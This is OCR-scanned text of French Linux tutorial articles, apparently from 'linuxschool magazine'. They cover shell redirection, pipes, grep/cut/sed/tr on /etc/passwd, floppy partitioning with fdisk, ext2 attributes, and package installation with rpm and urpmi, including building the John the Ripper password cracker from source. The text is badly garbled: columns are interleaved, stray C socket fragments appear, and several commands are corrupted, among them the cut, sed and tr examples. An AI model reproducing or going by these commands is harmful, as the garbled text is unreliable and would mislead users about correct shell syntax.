Tout d'abord, les options entre crochets indiquent leur
caractére optionnel. Les imbrications signifient que pour
utlliser I'option la plus enracinée, vous devez aussi uriliser
celle qui la contient. Ainsi, pour indiquer un host2 i cet
outil, vous devrez au préalble spécifier "host|” avec I'opé-
rateur "-h".
Dans la suite incohérente de lettres, chaque option est indi-
viduellement optionnelle : il s'agit de drapeaux d'état (on
utilise une ou plusieurs options qui n'ont pas besoin de
parameétres).
Enfin, les options écrites sans spécifications ou entre "< >"
sont obligatoires.

On achéve !
A force de titonnements, d'essais manqués et de documen-
tation lue 3 la fois dans les manpages et sur Google (vous ne
vous en sortirez pas sans ¢a), un utilisaceur débutant s'amu-
sera bien vite plus sur son shell que dans un environnement
graphique. A moins que ce dernier, dans un ultime effort de
survie, ne serve plus qu'a exécuter des shells.

linuxschool magazine



Dans un environnement ou les fichiers sont trés nombreux, et ot
les besoin de recherche et traitement sur ceux-ci sont trés divers, il
est plus que nécessaire de maitriser quelques autres outils console
puissants et disponibles sur tous les systémes UNIX/Linux.

Les redirections bash-2.05% 1s
Sous linux, Ia plupart des entrées sorties se font sous forme | img
de flux, canalisés vers I'une ou ['autre sortie. Tout comme il| 1ib
est possible de détourner un fleuve, il est possible, ec méme | 404.php
pratique, de détourner ces flux de données pour agir des- code.php
sus en temps réel. Il est par exemple fart utile de rediriger | contact.php
les informations qui s'affichent & I'écran vers un fichier index.php
texte, ou vers un périphérique spécial dans le cas par exem- | links.php
ple des utilisateurs non voyants. Ces redirections sont effec- | toto
tuées 3 l'aide de ce que I'on appelle les opérateurs de redi- unix.php
rection.
On s'apercoit que le fichier toto qui n'existait pas lors de
« Uopérateur =" :il permet de rediriger un flux vers la sor- | notre premier Is a maintenant été créé.
tie de son choix. La sortie est créée, et si elle existe déja,
elle sera créée, sauf dans un cas trés particulier qui est bash-2.05§ cat toto
Idev/null. /devinull est un périphérique extrémement utile, | img
que l'on pourrait comparer au péant : c'est un trou sans | 1ib
fond, et ce qui y est redirigé y est donc englouti. Une sorte | 404.php

de tonneau des danaides version unix, quoi. code. php
contact.php
bash-2.05% 1s | index.php
img links.php
lib toto
404.php unix.php
code .php bash-2.05%
contact.php
index.php | Le contenu du fichier toto est absolument identique 3 ce
links.php qu'avait donné notre premier [s.a une différence prés :lors-
unix.php que nous langons notre commande, le fichier toto est
bash-2.05§% 1s > toto immédiatement créé, mais il ne contient rien quand la com-

mande est lancée. Lorsqu'il est listé, il fait donc 0 octets, et
Rien ne saffiche car le flux a été redirigé vers le fichier toto | i la fin du processus de listing, il fait 912 octets.

au lieu de la sortie standard.
+ Uopérateur *>>"t il a la méme fonction que l'opérateur >



si ce n'est que lorsque la sortie indiquée existe déja, les |
données sont ajoutées 4 la suite de celles existant déja, au |
lieu que celles-ci solent écrasées. Si la sortie n'existe pas,
elle est créee.

bash-2.05% 1ls /tmp/* >> toto |

On s'apergoit que la sortie standard a bien été redirigée |
vers notre fichier toto.

bash-2.05% cat toto
img

lib

404.php
code.php
contact.php
index.php
links.php
toto
unix.php
/tmp/list
/tmp/tutu
bash-2.05%

bash-2.05$% rm *.exe ; echo
Im: cannot remove “*.exe’:
directory

toto

bash-2.05%

“toto”
No such file or

Méme 5'il n'existe pas de fichier .exe dans le répertoire cou-

| rant, la seconde instruction est quand méme lancée (le

contraire aurait d'ailleurs été un peu bizarre sur un PC
n'ayant pas vu un fichier .exe depuis.... hou la la, au moins
tout ¢a).

« Le ‘&&" le double “et commercial” se place entre deux
commandes dans une ligne oli 'on désire exécuter plusieurs
instructions. Contrairement au 7, le ‘&&’ vérifie le succés
d'une tiche avant de passer a la suivante, sinon a ligne de
commande s'interrompt et un message est affiché sur la
sortie d'erreur.

bash-2.05$ rm *.exe && echo “toto”

rm: cannot remove ~*.exe': No such file or

| directory

| bash-2.05%

Le listage de notre répertoire s'est ajouté i la suite des
données précédemment entrées, Le fichier toto n'a pas éré
écrasé.

« U'opérateur ‘|': ou pipe. C'est sans doute le plus puissant
des opérateurs de redirection. En effet, il permet de rediri-
ger le flux de sortie d'une commande en entrée d'une autre
commande. On peut ainsi faire des lignes de commande
contenant une dizaine de pipes et faisant des trucs halluci-
nants une fois qu'on sait se servir de certains utilitaires de
formatage de chaines de caractéres. La notion de pipes sem-
ble souvent un peu confuse, mais un exemple simple permet
de mieux comprendre.

bash-2.05 cat toto | grep tu
fmp/tutu
bash-2.05%

grep est un utilitaire permettant de faire une recherche de
correspondance dans un fichier ou une chaine de caracré-
res. Il nous a permis d'afficher le contenu de notre fichier
toto, mais en le filtrant au travers de l'utilitaire grep de
maniére @ n'avoir en sortie que les lignes contenant la
chaine de caractéres “tu”.

Les caractéres de controle

« Le " dans une chaine d'instructions placées sur la méme
ligne, le caractére ‘! permet de séparer les instructions les
unes des autres. Il n’y a aucune relation entre chacune des
commandes lancées, et il s'agic simplement d'une liste de
commandes i exécuter. ll 'y a pas de contréle de succes de
la premiére commande avant de passer & la seconde.

« Le & il permet de lancer un processus, de le passer en
tiche de fond avant de rendre la main & l'utilisateur. La tiche
peut cependant &tre rappelée par la suite, grice ala com-
mande fg, comme foreground.

bash-2.05% emacs &
[1] 673
bash-2.05%

Les utilitaires ultimes

lls sont nombreux dans les environnnements *nix les utili-
taires trés puissants et directement intégrés au shell. il est
possible d'utiliser linux sans jamais voir une seule ligne de
commande, ce serait vraiment trés trés dommage et ce
serait passer & coté de choses VRAIMENT ultimes, notam-
ment grice aux pipes. Les explications et exemples donnés
ci-dessous ne dispensent pas de consulter vos deux meil-
leurs amis : google et le man. lls sont en effet une mine de
renssignements incomparables dés que vous avez besoin de
savoir quelque chose.

Tous les utilitaires dont je vais vous parler ici ne sont pas
directement intégrés au shell mais on les trouve sur toutes
les distributions et ils sont vraiment utiles ; c'est pour cela
qu'il m'a semblé important de les décrire.

+ grep :avec son cousin egrep, ce sont des outils permet-
tant de faire ce que 'on appelle du “pattern matching”, c'est-
A-dire une recherche de correspondance au sein soit d'une

| chaine, soit d'une expression réguliére. Cette seconde pos-



sibilité donne alors toute sa puissance i grep. Je vous | ce qu'on peut faire en console en fait).

conseille fortement de faire un man regexp pour etudier les

expressions réguliéres car elles ne sont pas étudices dans |

cet article.

Dans notre exemple, nous allons faire une recherche sur le
fichier /etc/passwd, sur les chaines commengant par n, mais

| en ne retournant que leur UID et le nom des utilisateurs. La

bash-2.05¢ cat /etc/passwd | grep totod2
totod2:x:100:100: : /home/totod2/ : /bin/tesh

On fait une recherche sur toutes les chal-
nes contenant 1’occurence ‘totod2’

bash-2.05$ cat /etc/passwd | grep "n
news:x:9:13:news: /usr/lib/news:
nobody:x:99:99:nobody:/ :

bash-2.05%

On fait ici une recherche dans le fichier /etc/passwd sur
toutes les chaines commengant par un'n’. i

dr * )&y ad

struct

ligne étant un peu compliquée (trés simple en fait :-), je vais
vous la décrire pas & pas.

-“cat fetc/passwd” parcourt le fihier Jetc/passwd.

-“grep “n" fait une recherche sur les lignes commengant
par ‘n’.

.“cut -£ 3,5" prend les champs 3 et 5.

“_d :" déclare que ces champs sont séparés par le délimi-
teur .
Ce qui donne :

pash-2.056 cat /etc/passwd | grep “n
| cut -£ 3,5 -d : > toto

sockaddr *addr, int *addrlen)

ddr *my_addr, int addr len)
izeof (struct s

sockaddr *sery a

t backlog)

backlog))

ing

Dans l'exemple ci-dessus, on utilise directement grep sur
tous les fichiers c 4 la recherche de la string “sock”. Grep
nous affiche alors les lignes correspendantes avec le fichier
dont elles ont été extraites.

+ cut : cet utilitaire permet de faire des coupes franches i
dans des fichiers texte, par exemple pour afficher tous les
champs d'une liste située entre deux délimiteurs. Combiné
4 grep et & d'autres utlitaires du méme genre, via les pipes,
cet utilitaire permet de faire des trucs de fou (comme tout |

int: type,

-1)

int protocole)

protocole)) == -1)

bash-2.05$ cat toto
9:news

99 :nobody

100z

|
bash-2.05%

+ sed : cet urilitaire fait tout sauf le café, ou presque. Nous
futiliserons ici pour remplacer des occurences dans des
chaines de caractéres, ce qui n'est qu'une de ses trés nom-
breuses fonctionnalités. En fait, pour dire tout ce que fait



sed, il faudrait un livre entier (il existe : Sed et hawi, éditions
o'reilly(9))

Notre exemple va consister i parcourir le fichier
Jetc/passwd, extraire les logins UIDs et GIDs des utilisa-
teurs dont le nom commence par 'n’, d'afficher ces informa-
tions, mais en remplagant le separateur ' par des ', puis, de
tout rediriger vers notre fichier.... toto (original n'est-ce pas
7). Une fois de plus, c’est un peu compliqué, donc je vais
commmenter pas & pas. Jusqu'a sed, pas de probléme, on I'a
déja vu

sed -e va appliquer sed sur une expression.

‘y/:/,/* remplace toutes les occurences de ‘' par \.
L'option —s aurait appliqué ce changement sur la premiére

occurence remplacée.

bash-2.05$ cat /etc/passwd | grep “n
| cut —f 1,3,4 -d : | sed -e 'y/i/./"
> toto

bash-2.05$ cat toto

news,9,13

nobody 99,99

bash-2.05$%

+ sort : permet de trier les lignes d'un fichier par ordre
alphabétique. L'option -n trie dans le bon ordre I'option -r

dans l'ordre inverse.

bash-2.05§ sort -n /etc/passwd

daemon:x:2:2:daemon: /sbin:

ftpixi14:50: : /hane/Itp:

games :x:12: 100 :games : /usr/games:
gcin:x:‘lZ‘.qZ:GEl‘h/Var.’st'atefgdn:/b.i.nr’b.ﬁh
halt:x:7:0:halt:/sbin:/sbin/halt
1p:x:4:7:1p: /var/spool/lpd:

mail:x:8:12:mails/s
mysql: 127127 :MySQL: /var/1ib/mysql: /bin/bash
news:x:9:13:mews: /usr/Lib/news :

nobody:x:99:99:nobody: /:
11:0:0perator: /root: /bin/bash
/root:/bin/tesh

shutdowns /sbin: /sbin/shutdown

:14 suucp: /var/spocl /uucppublic:

« tr : dans le genre utilitaire utile, tr se pose 14 :il sertd rem-
placer toutes les occurences d'un caractére affichable par
une autre. Si cela peut étre parfaitement inutile (comme le
montrera notre exemple 1), il peut aussi étre trés pratique
lorsqu'on travaille sur de gros fichiers

$ echo “Je suis un linuxien d’elite, le
pingouin c’est bien, linux aussi”
| tr eslota 351074

J3 5ui5 un linuxi3n d’31i73;
©357 bi3n, linux 4u55i

13 pingOuin

Voila, vous savez maintenant écrire en warlordz sans vous
fatiguer. Complétement inutile, donc complétement indis-
pensable !!! Mais voyons quelque chose d'un peu plus
sérieux maintenant.

bash-2.05$ cat /etc/passwd | grep “n
| cut -f 1,3,4 -d ¢+ | sed -e ‘y/1/, /"’
| tr n B> toto

bash-2.05$% more toto

News, 9,13

Nobody, 99,99

bash-2.05§

Voila, nous avons repris I'exemple vu plus haut, mais en met-
tant les n en majuscule, parce que ¢a fait plus propre.

« we :word count est un utilitaire bien pratique qui permet
de compter le nombre de lignes, de mots et de lettres d'un
fichier texte. Ca peut sembler un peu inutile, mais vous
comprendrez trés vite que ¢a peut se montrer bien utile au
contraire.

wc -w compte le nombre de mots dans un fichier:
wc -1 compte le nombre de lignes.

wc -L donne la longueur de la plus longue ligne.
wo —c compte le nombre de caractéres.

bash-2.05% wc fetc/passwd
18 18 579 /etc/passwd
bash-2.05%

Moan fichier /etc/passwd contient |8 lignes, I8 mots et 579
caractéres. Les mots sont comptés a chaque espace, c'est
pour cela que wc en compte |8.




esLFS

ous ‘avez installé Windows apres
Pun formatage FAT32 ou NTFS 1

Alors le concept de systéme de
fichiers ne vous est pas étranger. Le
systéme d'exploitation ayant besoin
d'une méthade d'accés aux fichiers, il
compte sur des gestionnaires de systé-
mes de fichiers pour travailler sur le
disque. Sous Linux, les composants
nécessaires pour comprendre un sys-
téme de fichiers sont rendus disponi-
bles selon les options de compilation
du noyau. En général, on choisit de faire
comprendre & Linux un systéme de
fichiers de deux maniéres différentes :
soit de facon permanente (code stati-
quement compilé), soit en chargeant
ces outils de compréhension dynami-
quement (code modulaire).
Concrétement, cela veut dire que les
codes sources des programmes que va
utiliser Linux sont soit directement
compilés AVEC lui, et il ne peut donc
pas s'en séparer, soit utilisables (char-
geables/déchargeables) sous forme de
modules (grice aux outils insmod,
rmmeod, Ismod, cf. vos pages de man).
Comme Windows prend I'habitude de
travailler exclusivement sur NTFS ou
FAT, Linus, lui, travaille essentiellement
sur Ext2FS ou Ext3FS. On compile donc
cette gestion statiquement dans le noyau,
au moins pour gérer l'un des deux sys-
témes de fichiers. Mais Linux. & contra-
rio de son concurrent dont la mesqui-
nerie est évidente, permet de gérer
bien d'autres systemes de fichiers,
notamment FAT ou NTFS...

Acte 1 : Aborder

Pour les débutants, rappelons que par-
titionner et formater un disque sont
deux étapes différentes et consécuti-
ves. Nous allons voir comment les réa-
liser sous Linux, tout en décidant

lequel d'Ext2fs ou dExt3fs correspond |

Rien de tel qu'un titre mystérieux pour accrocher notre
lecteur, que nous savons pendu a nos lignes. Nous n'al-
lons pas le lacher sans lui révéler la raison de sa venue
sur cette page. Les LFS (ou Linux FileSystems -
Systemes de fichiers Linux), sont des représentations de
la fagon dont sont stockées vos données sur le disque
dur. C'est une implémentation logicielle qui se charge de
stocker les octets de données d'une fagon particuliére
sur le disque dur, ce résultat s'appelant un "systéme de
fichiers". Les objectifs sont simples : en assurer la cohé-
rence, l'intégrité, la disponibilité, voire la sécurité. Voila
de bonnes raisons pour en savoir plus sur le sujet.

(Enter) selects submenus -—>. Highlighted letters
4Ny excludes, (M> modularizes features.

are hotkegs, FPressing {1 includes,
f] built-in [ ] excluded

5.
Press (Esc)(Esc) to exit, (7 for Help. Legend:
LM ucanlEA ¢ » module capable

Fhw keys navigate the menu.

(=¥

[x] ©xt3 extended attributes

(%] %t3 POSIX Access Control Lists
{s] %3 Security Labels

1 BD {ext3) debugging support
eiserfs suppart
nable reiserfs debug mode
1ata in /proc/fefreiserfs
FS filasystem ort
7 M nix 5 suppart
3 (0N file system suppart
0]

s Exit )

(Fenéire de tonfiguration de compilafion du noyav.) Ne nous luissons
pas impressionner...

¢Help >

ftmp..) et d'une partition d'échange
swap (au cas ol la mémoire RAM serait
pleine). Reportez-vous aux pages sui-
vantes sur l'installation de Linux pour
plus de détails.

e miewx nos besoins, et etudier les ateri-
buts de sécurite offerts par ces filesys-
tems. Tout un programme ! :-)

Partitionner son disque c'est le diviser
en secteurs de differentes tailles et y
planter  gquelques
indicateurs. Ni plus,
ni moins. C'est l'ou-
dl “fdisk" qui per-
met de le faire sous
Linux. Linux a
bescin d'au moins
une partition racine
" (voire plus, selon
les envies de l'admi-
nistrateur, on peut
rajouter  [home,

Annihilation compléte de toute parfiion sur lu disquetie..
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Plus bateau, tu meurs

Mais ce n'est pas la swap qui nous inté-
resse, car elle n'a pas besoin d'étre for-
matée. Nous allons pour l'instant étu-
dier briévement le fonctionnement de
fdisk. Lancez-le sur un périphérique
(device) de disque dur. Les périphéri-
ques sont rattachés sous forme de
fichiers dans /dev. Normalement, votre
disque dur primaire s'appelle /devihda,
et vos partitions portent les numéros
I, 2, 3... Si vous n'étes pas certain des
partitions que vous utilisez actuelle-
ment, executez mount.

BigDaddy$ mowmt

/dev/hdal on / type 0

proc on /proc (xw)

devpts on /dev/pts type devpts
(rw, gid=5, mde=620)

Puis lancez fdisk en root comme sur fa
ligne suivante

BigDaddy# £disk /dev/hda

Le logiciel devrait afficher un message
de bienvenue er vous proposer soin
aide. Tapez la lettre "m" pour afficher
une liste des actions disponibles, puis
"p" pour afficher la table de partition
de votre disque dur, Cette table est
fondamentale, c'est li-dessus que se
porte tout le travail de partitionne-
ment. Nous allons donc nous amuser a
partitionner un disque, mais surtout
pas VOTRE disque dur ! Non, nous
allons nous entrainer sur une malheu-
reuse disquette qui n'attend plus que
de se faire violer par fdisk. Tapez "q".

Le fichier périphérique normalement

rattaché i votre lecteur s'appelle |
/devifd0 ("f" comme floppy, mais O n'est |

pas une régle générale... Ca peut aussi
&tre /devifloppy sur certaines distribu-
tions). Il n'est pas nécessaire de le
monter pour formater la disquette que
vous y aurez insérée. Lancez directe-
ment fdisk par la ligne suivante :

Bigbaddy# fdisk /dev/£d0

Le but de I'exercice sera de créer deux
partitions Linux sur cette disquette.

Affichez donc les partitions déja exis-
tantes en tpant "p", puis effacez-les en
tapant "d". Lorsque le programme vous
demande quelle partition supprimer,
indiquez 1, puis 2, etc. jusqu'a suppres-
sion compléte des partitions. Retapez
"p" pour constater le résultat.

Maintenant, nous allons créer une premiere

partiton. Comme nous disposons d'un
support d'environ 144 Mo pour nos
essais, nous allons créer deux parti-
ns de 700 Ko chacune. Appuyez sur
pour ajouter une nouvelle parti-
tion. Entre partition "primaire” ou
"étendue”, choisissez toujours “pri-
maire” (jusqu'd une limite de quatre,
aprés quol il s"agit de prendre des par-
titions étendues). Quant aux numéros
de partition, choisissez-les dans l'or-
dre, donc ici "1". Ensuite les choses se
corsent. |l nous demande un numéro
de cylindre. |l s'agit d'un repére pour se
localiser sur le matériel. Comme nous
onne-

allons commencer notre par
ment depuis le début du disque, nous
rentrons | (sur 80 normalement..).
Puis vous pouvez rentrer la taille de la
partition & créer. Il s"agit d'une taille en
octets (+size), megaoctets (+sizeM),ou
kilo-octets  (+sizeK). Nous
besoin de 700 kilo-octets, nous tapons
donc "+700k"... Et voild ! Nous venons

avons

de créer une partition !
Je vous laisse fignoler la seconde qui

reste 4 créer, ¢a ne serait pas dréle
sinon. Faite simplement attention 3
sélectionner toute la place restante
pour cette deuxiéme partition.

Maintenant, rien n'est joué. Pour for-
fmater correctement notre partition,



nous devons lui affecter un type.
Comme nous SOMMes sous Linux, je
vous laisse deviner le type 3 affecter 4| Et voild qui est fait. Rien de trés compli-|
la partition. Un petit indice : tapez "" | qué ! Notez que la suite doutils|
dans fdisk pour afficher les types dispo- | e2fsprogs vous permet éegalement de
nibles... Comme yous le voyez,il y en 2 falre un scandisk, de défragmenter, et
un certain nombre. Les numéros en | bien d'autres choses.. Inréressons-nous |
base hexadécimale vont de | 3 255, | plutde aux actributs supplémentaires
mais tous ne sont pas pris. Celui qui d'Exc2fs. Pour cela, il vous faudra certai-
nous_intéresse, c'est le numéra 83. | nement lire le man de "chaitr” et de|
Pour affecter le type "Linux" 3 notre "lsater” (allez, un petit effort quoi 1) qui
partition, nous devons utiliser laction | sont également des outils de la suite
"t" qui permet de modifier un type.On | e2fsprogs. Créez un fichier dans fomp,
affichera les changements avec "p". Une | par exemple "machin’. Ce que nnus‘
fois nos deux partitions mises au type apprennent les pages de man, c'est quiil
Linux, il faut écrire le résultat. n’y a en gros que deux ateributs que
Hé oui ! Rien n'a encore éé écrit sur | vous pourriez trouver vraiment intéres- |
cette fichue disquette qui commence a | sants (ce n'est pas vraiment ¢a, mais cest
refroidir... Soulagez-la en tapant " W " | e quon en condue ) & saor
voila qui devrait la calmer. Si vous avez fait | "a'et"T.
les choses convenablement, vous devriez | - “ " . cet ateribut empéche la modifi-
vOUS €n tirer avec, au pire, un message | cation ou la suppression du fichier sur
derreur. Relancez éventuellement fdisk lequel il est placé. Méme le root, s'il ne
pour vérifier et de la table. retire pas ce flag, ne pourra supprimer |
| te fichier.
Maintenant, fa surprise ! :-) Votre dis-
quette n'a  pas éré reellement
partitionnée. Si vous montez le péri-
phérique : |

|BigDaddy# mke2fs /dev/fd0 |

# mount /dev/fd0 /mat/£loppy
(ol floppy est un répertoire vide)

Vous vous apercevrez que le périphéri- |
que semble se manter d'une seule par- |
tition. Une disquette est en effet un
support trop simple pour pouvolr étre
partitionné, néanmoins cela nous a per- |
mis de faire des essais en toute sécu-
rité. Et nous allons pouvoir passer aux
procédures de formatage. |

Acte 2 : Ext2 ou Ext3 ?
Pour faire simple, Ext2fs est plus rapide
mais moins stable (en cas de crash) |
qu'Ext3fs. On dit qu'Ext3fs est un sys-
teme de fichier “journalisé”, mais ce
détail ne nous importe pas. Dans nos
exemples, nous formaterons notre dis- |
quette en Ext2fs, i T'aide de la suite
d'outils e2fsprogs (disponible sur |

Une fois ces outils installés, nous lan-
cons mke2fs comme suit :

Linux From Seratch, le fivre,

5mmm

_"a":force le fichier  ne pouvoir étre
écrit qu'a I fin (impossible d'effacer ce
qui est déja contenu dedans), c'est pra-
tique pour des fichiers de log i-)

Vous pouvez tester les capacités de la
fagon suivante (exemple avec e

# chattr + a /tmp/machin

# echo "test" > /tmp/machin
pash: machin: Qperation not
permitted.

# "echo "test" >>/tmp/machin

Linux cache d'autres petites merveilles,
mais notre article prend fin ici Vous
devriez maintenant savoir comment et
avec quels outils partitionner et forma-
ter un média, et avez abordé les ateributs
de sécurité d'ext. Si cela vous a paru
compliqué, ne démordez pas, ces notions
finiront par vous paraitre évidentes.
linuxschool magazine

disponible sur amazon.com

LINUX



I] Trouver son bonheur...

Quand on cherche un logiciel sous Linux, on peut déja
commencer par parcourir |a base de données installée avec
sa distribution, qui correspond aux applications disponibles
sur les Cd d'installation. En plus, pour les distributions
récentes, vous disposez méme d'une GUI (Graphical User
Interface, interface graphique
quoi !) qui va vous faciliter la
tache : il s'agit, pour
Mandriva, de rpmdrake (voir
illustration).

Software Packages Installation

Find ndesciphons|s| [t seanw

Qui n'a jamais pensé ou entendu dire
que " de toutes fagons, Linux, c'est nul,
y'a presque pas de logiciels ! " Que
nenni, jeune padawan ! Les bases de
données Linux fourmillent de logiciels
de qualité (et gratuits, rappelons-le !).
Et, avantage évident par rapport a I'0S
de Billou, ils sont faciles a trouver.

)

Il vous faudra par contre G Mandake choices
taper le mot de passe root | Allpackages, alphabescal € Normal information
pour y accéder. Ensuite, il ' All packages, by group ‘=| & Maximum Information
vous suffira de naviguer dans [P Development e
le menu de gauche pour [P GraphicalEnvimament Size: 61 KB
b A b Server Source: conib
trouver un logiciel, le sélec- {0 0Ll L Currandy ncialled verslons {soae)

tionner et l'installer. Lorsque
vous aurez sélectionné un
paquetage (package en
Anglais), le systéme vérifiera
automatiguement les dépen-
dances. Je  m'explique.
Certains logiciels ont besoin wﬂ 0.0-2.1mdk a
d'autres paquetages pour
fonctionner, ils seront donc
automatiquement ajoutés ;

la sélection par le systéme

(vous verrez apparaitre une DialogBox). Cette fonctionna-
lité évite donc bien des prises de téte...

Ensuite, quand vous aurez fait votre choix et que vous cli-
querez sur " Installer ", Linux vous demandera automati-
quement le Cd dont il a besain pour l'installation, et vous
ouvrira méme le lecteur. C'est pas beau ¢a ?

Je ne m'étendrai pas plus sur cette GUI car elle est trés
facile 4 prendre en main, et je vous laisse bidouiller vous
méme pour découvrir toutes les fonctionnalités (recher-
cher; installer, mettre 3 jour, supprimer, etc.) de ce puissant
outil.

o
etlercap-0.6.7-2mdk o
karpski-0.101-8mdk a
kismet-2.8.1-2mdk ]

1I] Que faire sans GUI ?

Ben oui, y'a pas toujours eu d'interface graphique. Il fut
méme un temps o il n'y avait pas RPM.A cette époque, ins-
taller un logiciel sur son Linux, c'était vite la galére... Apparu

Selecied: 0 MB / Free disk space: 7738 MB

Summary: Network Traffic sniffer, with panerm matching
ke grep.
[Description: ngrep sirives to provide most of GNU grep's
common features, applying them to the network Layer.
ngrep is & peap-mare ool that will allow you to spectly
exmende or hexadecimal expressions fo match
against data pavhaﬁ of packets. R currently recognizes.
TCP, UDP and ICMP across Etheinet, PPP, SLIP, FDDI,
Token Ring and nullintertaces, and understands. bl fiter
logic in the fazhion as ]
1wols, such as tcpdump and snoop.

Insialt Quit =

sous Red Hat (d'oll le nom Red Hat Package Manager),
RPM est en fait un outil permettant d'installer simplement
les paquetages. Les paquetages sont dailleurs au format
.rpm. Les .rpm sont des archives contenant les fichiers i
installer, mais aussi une description (nom, version, etc.) du
programme, des infos sur les paquetages dont il dépend..
Pour que vous sachiez utiliser rpm, nous allons faire dans le
concret, c'est-3-dire maltraiter un paquetage. Pour I'exem-
ple, nous allons prendre le paquetage de nmap (pour
Mandrake 9.2, il est sur le cdl, dans le dossier
Mandrake/RPMS et s'appelle nmap-3.30-2mdk.i586.rpm, y'a
pas plus simple lol) : nous le copions dans son dossier perso
(home/nightmédre pour moi). Maintenant, nous langons la
Konsole et nous nous connectons sous le compte root
(rapez su puis votre mot de passe de superutilisateur), vous
obtenez le prompt (.. #)




RPM : quelques options utiles

-q seélectionne
hiers et le -p permet d
it faire la me equ

$ rpm -g -1 net

On peut aussi connaitre les dépendance d'un paquetage, avec l'option «R :

pm -gR netcat
ib(PayloadF

rpmlib(PayloadIs

Vous pouvez aussi verifier que tous les fichiers requis sent installés {mode 'verify' avec -V)

§ rpm -V
missing
missing

at-1.10-869.1586.rpm

c ‘query’ de demande d'informations. le - demande I liste
rpm- qui n'est pas encore installe. On
e sur un package installe avec par exemple

pez la commande d'install si
vous voulez le voir). En ins-
tallant un paquetage, vous
pourrez aussi obtenir un
message du type : " Error ;
failed dependencies : ... "
Cela signifie que le paque-
tage en nécessite d'autres, et
le message d'erreur vous
affichera d'ailleurs lesquels.
Si tout s'est bien passé, tapez
" nmap " et vous constaterez
que le logiciel est bien ins-
tallé (avant l'install, on aurait
: bash: nmap : command not
found).

Un autre moyen d'installer
un paquetage est :

# rpm -Uvh \

Le U signifie update (mise i
jour) : si le logiciel n'est pas
installé, il va I'étre, sinon il
sera mis 4 jour si la version
que vous proposez est plus
récente. Le paquetage étant
installé, on peut lui passer
des requétes (option -g
comme query)...Au passage :
lorsqu'un paquetage est ins-

1ange X

quants, Cette option
artir d'un fichier rpm

mdS, erc.) et peut donc détecter un fichier backdooré, par exemple.

Une documentation trés compléte de Red Hat sur ce format de paquetage est disponi-

tallé, son nom change, il n'y a
plus tous les numéros de
version et autres : nmap-
3.30-2mdk.i586.rpm devient
nmap.

ble i cette adresse

g Tt prriFitiy

Pour installer notre paquetage, nous tapons :

# rpm -ivh \

Preparing... #EgHHEGH#HF [100%]
1:nmap ##dHEREA#E 11002]

Voila ce que vous obtenez quand nmap nlest pas inseallé. Les
options v et h ne sont pas indispensables, c'est juste pour
avoir le listing de gauche (option -v) et la barre de progres-
sion sous forme de # 4 droite (option -h).

Le i signifie install (vous pouvez d'ailleurs taper rpm --install
..). Si le package est déja installé, vous obtiendrez le mes-
sage ;" package nmap-3.30-2mdk is already installed " (reta-

# rpm -q nmap \
nmap-3.30-2mdk

Cette commande (query)
nous permet d'obtenir le nom du paquetage originel (sans le
i586.mdk). Quelques options de requétes utiles sont -i (infor-
mation), -R ou ~-requires, et -l pour —list. Il vous faur taper :
rpm -qi nmap, ou rpm -qR nmap, etc. L'option -i apporte des
informations sur le paquetage (nom, numéro de version, des-
cription...), f'option -R affiche la liste des dépendances (les

| autres paquetages utilisés par notre logiciel), et 'option -l
permet de lister les fichiers constituant le paquetage.Vous

| pouvez combiner ces options sur une méme commande.

Par exemple :

# rpm -giRl nmap

Aprés avoir bien maltraité notre nmap, on a envie de le dés-
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installer (erase). |l suffic de taper :

# rpm -e nmap

En rajoutant ['option —test, vous pouvez méme simuler la
désinstallation : on vérifie en fait que I'on peut désinstaller
le paquetage (udle pour le debugging).

On s'arréte icl pour rpm. Pour en saveir plus sur cet outil,
consultez sa page de man (man rpm). Encore une chose :le
nom du paquetage peut aussi &re une URL :).

I1] Maman, maman, sans
paquetage |

Bon, la on se retrouve avec le fichier suivant :
john-l btargz (3 té%écharger a Iadresse suivante :

A waz ), Il s'agic de
jahn The RIPPEI‘. un cracker de mots de passes (cf. le
cracking de mot de passes Linux). Il faut commencer par le
décompresser et le désarchiver, on tape tar -xvzf john-
|.6.targz . Le -x permet ['extraction (car on peut aussi
créer une archive avec -c), le v affiche une liste des fichiers
désarchivés, le z annonce que le fichier est compressé (s'il
y a gz, ou .tgz) et qu'il faut donc le décompresser; et enfin,
le f permet de spécifier le nom du fichier.

Petit point culturel : les .tar sont des archives, C'est-a-dire
des fichiers qui en réunissent plusieurs en un seul en
conservant leurs infos (permissions, etc.), et les gz des
fichiers compressés grice 4 gzip (comme Winzip sous win).
Les .targz ou .tgz sont appelés tarballs.
Aprés cette premiére étape, vous devez vous placer dans le
dossier créé (john-1.6), puis dans le dossier sre (cd john-
1.6/src).Vous voyez alors différents types de fichiers... Ici, il
n'y a pas de fichier configure, mais si c'est le cas, il vous faut
taper /configure en console, ce qui permet d'adapter cer-
tains parametres  votre systéme.
Pas de ¢a pour John... Les informations qui permettront une
compilation correcte sont dans ce fichier :Makefile, qui per-
met d'utiliser ['utilitaire make pour installer:
©On mpe donc " make ", et I'on obtient un message nous
lancer la ilation : Il faut taper
make SYSTEM avec SYSTEM, un des noms affichés dans la
liste qui apparait. Pour moi, make generic suffira :). Et voild,
c'est parti, patientez une minute...
Quand le prompt réapparait. c'est terminé. Si tout s'est bien
passé, faites cd ../run, puis tapez ./john .Vous devriez voir
apparaitre la liste des options de JTR. héhé.Voila, vous savez
comment installer un programme a partir de ses sources.
Apprenez ceci les procédures standard d'installation se

- tar zxwf fichier.tar.gz
- ./configure

- make

-make install (en roof)

Au fait, vous ne pourrez pas compiler des sources si gcc
n'est pas installé sur votre systéme (ce qui est quasiment
toujours le cas)

IV] Mandriva et les packages :
urpmi
Tout d'abord, pour utiliser urpmi, il faur &wre connecté en
root. L'outil urpimi est une amélioration de rpm, et est uti-

| lisé par la GUI de Mandrake 9.2 (rpmdrake). Pour installer

| Iy a dailleurs plusieurs dérivés de l'outil :

un rpm, il vous suffit de taper

urpmi nom du_rpm. Mais 'avantage est que vous n'avez
pas besoin de connaitre le nom exact du rpm : tapez urpmi
nmap... Aprés quelques secondes de recherches dans sa
base de donnée, un message apparait vous demandant d'in-
sérer le Cd correspondant. On le fait, on appuie sur Entrée,
et notre nmap est automatiquement installé. C'est beau le
progrés !

tapez urpme
nmap pour désinstaller celui-ci...urpmf permet d'obtenir les
noms des paquetages qui utilisent le fichier spécifié en argu-
ment, et urpmq est un équivalent de rpm -q (ex :urpmq -i
nmap affichera ses infos). urpmi et ses dérivés sont extré-
mement puissants, et encore plus simple a utiliser que
rpm...

A vous maintenant d'approfondir ceci grice aux pages de
manuels suivantes : urpmi, urpmf, urpmq et urpme !
Honnétement, ¢a vaut le coup...

V] Debian et les packages :
